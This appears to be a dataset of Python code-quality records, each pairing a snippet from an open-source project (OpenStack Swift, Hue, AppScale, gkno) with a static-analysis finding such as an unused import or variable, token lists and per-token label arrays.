[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Module is imported with 'import' and 'import from'
gkno/gkno_launcher/src/gkno/pipelineConfigurationErrors.py
[ { "content": "#!/usr/bin/python\n\nfrom __future__ import print_function\n\nimport inspect\nfrom inspect import currentframe, getframeinfo\n\nimport errors\nfrom errors import *\n\nimport os\nimport sys\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import inspect", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "inspect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "inspect_", "import_", "currentframe_", ",_", "getf", "rame", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "errors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "errors_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
openstack/swift/swift/common/middleware/dlo.py
[ { "content": " def __call__(self, env, start_response):\n \"\"\"\n WSGI entry point\n \"\"\"\n req = Request(env)\n try:\n vrs, account, container, obj = req.split_path(4, 4, True)\n except ValueError:\n return self.app(env, start_response)\n\n # install our COPY-callback hook\n env['swift.copy_hook'] = self.copy_hook(\n env.get('swift.copy_hook',\n lambda src_req, src_resp, sink_req: src_resp))\n\n if ((req.method == 'GET' or req.method == 'HEAD') and\n req.params.get('multipart-manifest') != 'get'):\n return GetContext(self, self.logger).\\\n handle_request(req, start_response)\n elif req.method == 'PUT':\n error_response = self._validate_x_object_manifest_header(req)\n if error_response:\n return error_response(env, start_response)\n return self.app(env, start_response)", "metadata": "root.DynamicLargeObject.__call__", "header": "['class', 'DynamicLargeObject', '(', 'object', ')', ':', '___EOS___']", "index": 397 } ]
[ { "span": "vrs,", "start_line": 403, "start_column": 12, "end_line": 403, "end_column": 15 }, { "span": "account,", "start_line": 403, "start_column": 17, "end_line": 403, "end_column": 24 }, { "span": "container,", "start_line": 403, "start_column": 26, "end_line": 403, "end_column": 35 }, { "span": "obj ", "start_line": 403, "start_column": 37, "end_line": 403, "end_column": 40 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Dynamic", "Large", "Object_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "call\\u\\u_", "(_", "self_", ",_", "env_", ",_", "start", "\\u", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WS", "GI", " ", "entry", " ", "point", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "Request_", "(_", "env_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vr", "s_", ",_", "account_", ",_", "container_", ",_", "obj_", "=_", "req_", "._", "split", "\\u", "path_", "(_", "4_", ",_", "4_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "app_", "(_", "env_", ",_", "start", "\\u", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "install", " ", "our", " ", "COPY", "-", "callback", " ", "hook_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "env_", "[_", "'", "swift", ".", "copy", "\\u", "hook", "'_", "]_", "=_", "self_", "._", "copy", "\\u", "hook_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "env_", "._", "get_", "(_", "'", "swift", ".", "copy", "\\u", "hook", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lambda_", "src", "\\u", "req_", ",_", "src", "\\u", "resp_", ",_", "sink", "\\u", "req_", ":_", "src", "\\u", "resp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "(_", "req_", "._", "method_", "==_", "'", "GET", "'_", "or_", "req_", "._", "method_", "==_", "'", "HEAD", "'_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "req_", "._", "params_", "._", "get_", "(_", "'", "multip", "art", "-", "manifest", "'_", ")_", "!=_", "'", "get", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Get", "Context_", "(_", "self_", ",_", "self_", "._", "logger_", ")_", "._", "handle", "\\u", "request_", "(_", "req_", ",_", "start", "\\u", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "req_", "._", "method_", "==_", "'", "PU", "T", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "response_", "=_", "self_", "._", "\\u", "validat", "e\\u", "x", "\\u", "object\\u", "manifest", "\\u", "header_", "(_", "req_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "error", "\\u", "response_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "error", "\\u", "response_", "(_", "env_", ",_", "start", "\\u", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "app_", "(_", "env_", ",_", "start", "\\u", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
cloudera/hue/desktop/core/ext-py/tablib-0.10.0/tablib/packages/openpyxl3/reader/iter_worksheet.py
[ { "content": "def get_squared_range(p, min_col, min_row, max_col, max_row, string_table, style_table):\n\n expected_columns = [get_column_letter(ci) for ci in range(min_col, max_col)]\n\n current_row = min_row\n for row, cells in get_rows(p, min_row = min_row, max_row = max_row, min_column = min_col, max_column = max_col):\n full_row = []\n if current_row < row:\n\n for gap_row in range(current_row, row):\n\n dummy_cells = get_missing_cells(gap_row, expected_columns)\n \n yield tuple([dummy_cells[column] for column in expected_columns])\n\n current_row = row\n\n temp_cells = list(cells)\n\n retrieved_columns = dict([(c.column, c) for c in temp_cells])\n\n missing_columns = list(set(expected_columns) - set(retrieved_columns.keys()))\n\n replacement_columns = get_missing_cells(row, missing_columns)\n\n for column in expected_columns:\n\n if column in retrieved_columns:\n cell = retrieved_columns[column]\n\n if cell.style_id is not None:\n style = style_table[int(cell.style_id)]\n cell = cell._replace(number_format = style.number_format.format_code) #pylint: disable-msg=W0212\n if cell.internal_value is not None:\n if cell.data_type == Cell.TYPE_STRING:\n cell = cell._replace(internal_value = string_table[int(cell.internal_value)]) #pylint: disable-msg=W0212\n elif cell.data_type == Cell.TYPE_BOOL:\n cell = cell._replace(internal_value = cell.internal_value == 'True')\n elif cell.is_date:\n cell = cell._replace(internal_value = SHARED_DATE.from_julian(float(cell.internal_value)))\n elif cell.data_type == Cell.TYPE_NUMERIC:\n cell = cell._replace(internal_value = float(cell.internal_value))\n full_row.append(cell)\n\n else:\n full_row.append(replacement_columns[column])\n\n current_row = row + 1\n\n yield tuple(full_row)", "metadata": "root.get_squared_range", "header": "['module', '___EOS___']", "index": 205 } ]
[ { "span": "current_row ", "start_line": 220, "start_column": 16, "end_line": 220, "end_column": 27 } ]
[ { "span": "current_row ", "start_line": 252, "start_column": 8, "end_line": 252, "end_column": 19 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "square", "d\\u", "range_", "(_", "p_", ",_", "min", "\\u", "col_", ",_", "min", "\\u", "row_", ",_", "max", "\\u", "col_", ",_", "max", "\\u", "row_", ",_", "string", "\\u", "table_", ",_", "style", "\\u", "table_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "expected", "\\u", "columns_", "=_", "[_", "get", "\\u", "column", "\\u", "letter_", "(_", "ci_", ")_", "for_", "ci_", "in_", "range_", "(_", "min", "\\u", "col_", ",_", "max", "\\u", "col_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "current", "\\u", "row_", "=_", "min", "\\u", "row_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "row_", ",_", "cells_", "in_", "get", "\\u", "rows_", "(_", "p_", ",_", "min", "\\u", "row_", "=_", "min", "\\u", "row_", ",_", "max", "\\u", "row_", "=_", "max", "\\u", "row_", ",_", "min", "\\u", "column_", "=_", "min", "\\u", "col_", ",_", "max", "\\u", "column_", "=_", "max", "\\u", "col_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "full", "\\u", "row_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "current", "\\u", "row_", "<_", "row_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "gap", "\\u", "row_", "in_", "range_", "(_", "current", "\\u", "row_", ",_", "row_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dummy", "\\u", "cells_", "=_", "get", "\\u", "missi", "ng", "\\u", "cells_", "(_", "gap", "\\u", "row_", ",_", "expected", "\\u", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "tuple_", "(_", "[_", "dummy", "\\u", "cells_", "[_", "column_", "]_", "for_", "column_", "in_", "expected", "\\u", "columns_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "current", "\\u", "row_", "=_", "row_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "temp", "\\u", "cells_", "=_", "list_", "(_", "cells_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "retrieved", "\\u", "columns_", "=_", "dict_", "(_", "[_", "(_", "c_", "._", "column_", ",_", "c_", ")_", "for_", "c_", "in_", "temp", "\\u", "cells_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "missi", "ng", "\\u", "columns_", "=_", "list_", "(_", "set_", "(_", "expected", "\\u", "columns_", ")_", "-_", "set_", "(_", "retrieved", "\\u", "columns_", "._", "keys_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "replace", "ment", "\\u", "columns_", "=_", "get", "\\u", "missi", "ng", "\\u", "cells_", "(_", "row_", ",_", "missi", "ng", "\\u", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "column_", "in_", "expected", "\\u", "columns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "column_", "in_", "retrieved", "\\u", "columns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cell_", "=_", "retrieved", "\\u", "columns_", "[_", "column_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "cell_", "._", "style", "\\u", "id_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "style_", "=_", "style", "\\u", "table_", "[_", "int_", "(_", "cell_", "._", "style", "\\u", "id_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cell_", "=_", "cell_", "._", "\\u", "replace_", "(_", "number", "\\u", "format_", "=_", "style_", "._", "number", "\\u", "format_", "._", "format\\u", "code_", ")_", "#", "pylint", ":", " ", "disable", "-", "msg", "=", "W", "021", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cell_", "._", "internal", "\\u", "value_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "cell_", "._", "data\\u", "type_", "==_", "Cell_", "._", "TYPE", "\\u", "STRING_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "cell_", "=_", "cell_", "._", "\\u", "replace_", "(_", "internal", "\\u", "value_", "=_", "string", "\\u", "table_", "[_", "int_", "(_", "cell_", "._", "internal", "\\u", "value_", ")_", "]_", ")_", "#", "pylint", ":", " ", "disable", "-", "msg", "=", "W", "021", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cell_", "._", "data\\u", "type_", "==_", "Cell_", "._", "TYPE", "\\u", "BOOL_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "cell_", "=_", "cell_", "._", "\\u", "replace_", "(_", "internal", "\\u", "value_", "=_", "cell_", "._", "internal", "\\u", "value_", "==_", "'", "Tru", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cell_", "._", "is", "\\u", "date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "cell_", "=_", "cell_", "._", "\\u", "replace_", "(_", "internal", "\\u", "value_", "=_", "SHARED", "\\u", "DATE_", "._", "from", "\\u", "julia", "n_", "(_", "float_", "(_", "cell_", "._", "internal", "\\u", "value_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "cell_", "._", "data\\u", "type_", "==_", "Cell_", "._", "TYPE", "\\u", "NUMERIC", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "cell_", "=_", "cell_", "._", "\\u", "replace_", "(_", "internal", "\\u", "value_", "=_", "float_", "(_", "cell_", "._", "internal", "\\u", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "full", "\\u", "row_", "._", "append_", "(_", "cell_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "full", "\\u", "row_", "._", "append_", "(_", "replace", "ment", "\\u", "columns_", "[_", "column_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "current", "\\u", "row_", "=_", "row_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "tuple_", "(_", "full", "\\u", "row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
AppScale/appscale/AppServer/google/appengine/api/channel/channel_service_pb.py
[ { "content": "#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\n\nfrom google.net.proto import ProtocolBuffer\nimport array\nimport dummy_thread as thread\n\n__pychecker__ = \"\"\"maxreturns=0 maxbranches=0 no-callinit\n unusednames=printElemNumber,debug_strs no-special\"\"\"\n\nif hasattr(ProtocolBuffer, 'ExtendableProtocolMessage'):\n _extension_runtime = True\n _ExtendableProtocolMessage = ProtocolBuffer.ExtendableProtocolMessage\nelse:\n _extension_runtime = False\n _ExtendableProtocolMessage = ProtocolBuffer.ProtocolMessage\n\nif _extension_runtime:\n pass\n\n__all__ = ['ChannelServiceError','CreateChannelRequest','CreateChannelResponse','SendMessageRequest','ChannelPresenceRequest','ChannelPresenceResponse_QueryResult','ChannelPresenceResponse']\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class ChannelServiceError(ProtocolBuffer.ProtocolMessage):\n\n\n OK = 0\n INTERNAL_ERROR = 1\n INVALID_CHANNEL_KEY = 2\n BAD_MESSAGE = 3\n INVALID_CHANNEL_TOKEN_DURATION = 4\n APPID_ALIAS_REQUIRED = 5\n\n _ErrorCode_NAMES = {\n 0: \"OK\",\n 1: \"INTERNAL_ERROR\",\n 2: \"INVALID_CHANNEL_KEY\",\n 3: \"BAD_MESSAGE\",\n 4: \"INVALID_CHANNEL_TOKEN_DURATION\",\n 5: \"APPID_ALIAS_REQUIRED\",\n }\n\n ErrorCode_Name = classmethod(ErrorCode_Name)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n _TEXT = _BuildTagLookupTable({\n 0: \"ErrorCode\",\n }, 0)\n\n _TYPES = _BuildTagLookupTable({\n 0: ProtocolBuffer.Encoder.NUMERIC,\n }, 0, ProtocolBuffer.Encoder.MAX_TYPE)\n\n\n _STYLE = \"\"\"\"\"\"\n _STYLE_CONTENT_TYPE = \"\"\"\"\"\"\n _PROTO_DESCRIPTOR_NAME = 'apphosting.ChannelServiceError'", "metadata": "root.ChannelServiceError", "header": "['module', '___EOS___']", "index": 33 }, { "content": " def ErrorCode_Name(cls, x): return cls._ErrorCode_NAMES.get(x, \"\")", "metadata": "root.ChannelServiceError.ErrorCode_Name", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 52 }, { "content": " def __init__(self, contents=None):\n pass\n if contents is not None: self.MergeFromString(contents)", "metadata": "root.ChannelServiceError.__init__", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 56 }, { "content": " def MergeFrom(self, x):\n assert x is not self", "metadata": "root.ChannelServiceError.MergeFrom", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 61 }, { "content": " def Equals(self, x):\n if x is self: return 1\n return 1", "metadata": "root.ChannelServiceError.Equals", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 64 }, { "content": " def IsInitialized(self, debug_strs=None):\n initialized = 1\n return initialized", "metadata": "root.ChannelServiceError.IsInitialized", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 68 }, { "content": " def ByteSize(self):\n n = 0\n return n", "metadata": "root.ChannelServiceError.ByteSize", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 72 }, { "content": " def ByteSizePartial(self):\n n = 0\n return n", "metadata": "root.ChannelServiceError.ByteSizePartial", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 76 }, { "content": " def Clear(self):\n pass", "metadata": "root.ChannelServiceError.Clear", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 80 }, { "content": " def OutputUnchecked(self, out):\n pass", "metadata": "root.ChannelServiceError.OutputUnchecked", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 83 }, { "content": " def OutputPartial(self, out):\n pass", "metadata": "root.ChannelServiceError.OutputPartial", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 86 }, { "content": " def TryMerge(self, d):\n while d.avail() > 0:\n tt = d.getVarInt32()\n\n\n if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError\n d.skipData(tt)", "metadata": "root.ChannelServiceError.TryMerge", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 89 }, { "content": " def __str__(self, prefix=\"\", printElemNumber=0):\n res=\"\"\n return res", "metadata": "root.ChannelServiceError.__str__", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 98 }, { "content": " def _BuildTagLookupTable(sparse, maxtag, default=None):\n return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)])", "metadata": "root.ChannelServiceError._BuildTagLookupTable", "header": "['class', 'ChannelServiceError', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 103 }, { "content": "class CreateChannelRequest(ProtocolBuffer.ProtocolMessage):\n has_application_key_ = 0\n application_key_ = \"\"\n has_duration_minutes_ = 0\n duration_minutes_ = 0\n has_tag_ = 0\n tag_ = \"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n kapplication_key = 1\n kduration_minutes = 2\n ktag = 3\n\n _TEXT = 